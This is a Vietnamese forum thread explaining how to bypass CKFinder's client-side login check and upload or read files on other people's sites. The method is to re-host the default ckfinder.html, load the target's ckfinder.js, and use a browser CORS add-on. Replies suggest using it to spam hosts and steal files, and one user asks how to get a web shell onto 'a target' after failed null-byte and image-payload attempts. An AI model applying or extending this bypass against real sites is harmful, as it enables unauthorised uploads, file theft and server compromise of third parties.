Hướng dẫn và Thảo luận - Ckfinder Bypass Authorized Upload File | VN-Zoom | Cộng đồng Chia Sẻ Kiến Thức Công Nghệ và Phần Mềm Máy Tính

Adblocker detected! Please consider reading this notice.

We've detected that you are using AdBlock Plus or some other adblocking software which is preventing the page from fully loading.

We need money to operate the site, and almost all of it comes from our online advertising.

If possible, please support us by clicking on the advertisements.

Please add vn-z.vn to your ad blocking whitelist or disable your adblocking software.

×

Hướng dẫn và Thảo luận Ckfinder Bypass Authorized Upload File

Mtdev

Rìu Sắt
Hôm nay khai xuân nên chia sẻ với mọi người một cách để vượt qua cái gọi là check authorized trên ckfinder. cụ thể như sau.

Khi chúng ta vào file ckfinder.html thì nó ra một thông báo demo và ai cũng có thể thấy và upload file lên nó như hình bên dưới





Để ngăn việc bị người khác upload file mã độc hoặc rác một số lập trình viên dùng code như sau để chặn nó

HTML:
<!DOCTYPE html>
<!--
Copyright (c) 2007-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or https://ckeditor.com/sales/license/ckfinder
-->
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
    <title>A21tours - File Browser</title>
    
</head>
<body>
    <script src="ckfinder.js"></script>
    <script>
        loadCheckData("https://xxxxxx.com/rest_api/Admin/login", responCheckLogin);
        function loadCheckData(url, cFunction) {
            var xhttp;
            xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                cFunction(this);
                }
            };
            xhttp.open("GET", url, true);
            xhttp.send();
        }
        function responCheckLogin(xhttp) {
            var _checkReturn = xhttp.responseText;
            if(_checkReturn == "true"){
                CKFinder.start();
            } else {
                window.location.replace("https://xxxxxx.com/public/ckeditor/ckfinder/error.html");
            }
        }
    </script>

</body>
</html>

phân tích code trên chúng ta thấy một vấn đề về bảo mật ở đây. code này dùng javascript để check một api xem đã login chưa ở cái chỗ


và đây chỉ đơn giản là code javascript nên nếu tôi dùng code khác trên host khác dạng mặc định thì sao?

tôi bắt đầu tải code mặc định của ckfinder về ngâm cứu


HTML:
<!DOCTYPE html>
<!--
Copyright (c) 2007-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or https://ckeditor.com/sales/license/ckfinder
-->
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
    <title>CKFinder 3 - File Browser</title>
</head>
<body>

<script src="ckfinder.js"></script>
<script>
    CKFinder.start();
</script>

</body>
</html>
Tôi mang code này lên host của tôi và chạy thay


JavaScript:
<script src="ckfinder.js"</script>

Thành
JavaScript:
<script src="https://xxxx.com/patch/ckfinder.js"></script>

ta được 1 trang trắng



Để giải quyết vấn đề này thì đơn giản là dùng firefox cùng với addon CORS Everywhere

Sau khi cài và chạy thì tôi thoải mái đọc các thông tin file cũng như upload được file nên




Thật vi diệu và đây là một lỗ hổng hết sức nghiêm trọng
 

meebo

Rìu Vàng Đôi
Vậy là bạn đã dùng addon của Firefox để đánh tráo ckfinder.js khiến nó load file .js mà bạn đã chuẩn bị từ trước. Sau khi đọc file js của bạn xong thì nó bỏ qua việc kiểm tra xác thực người dùng và chấp nhận upload file.

=> Mở rộng vấn đề là mình có thể dùng cách này để spam đầy host của trang nào có sử dụng CKFinder (1 phần của của CKEditor), thậm chí là chôm file về...
 

Mtdev

Rìu Sắt
Vậy là bạn đã dùng addon của Firefox để đánh tráo ckfinder.js khiến nó load file .js mà bạn đã chuẩn bị từ trước. Sau khi đọc file js của bạn xong thì nó bỏ qua việc kiểm tra xác thực người dùng và chấp nhận upload file.

=> Mở rộng vấn đề là mình có thể dùng cách này để spam đầy host của trang nào có sử dụng CKFinder (1 phần của của CKEditor), thậm chí là chôm file về...
Dùng addon của firefox không phải để đánh tráo js bác ơi nó là để sửa lỗi báo cors trên trình duyệt vì mặc định trình duyệt nó sẽ chặn lại và ra trang trắng đó
 

mathiznogoud

Gà con
Dùng addon của firefox không phải để đánh tráo js bác ơi nó là để sửa lỗi báo cors trên trình duyệt vì mặc định trình duyệt nó sẽ chặn lại và ra trang trắng đó

Em hiện tại có 1 target đang có con ckfinder file upload này, cơ mà em k tìm được cách up shell hoặc up code lên để chạy được. Em đã thử 1 vài cách như null byte, nhét code vô ảnh rồi sửa request để exec code nhưng đều bế tắc :(
Có cách nào bypass được thằng check định dạng file của nó không nhỉ :(
 


Top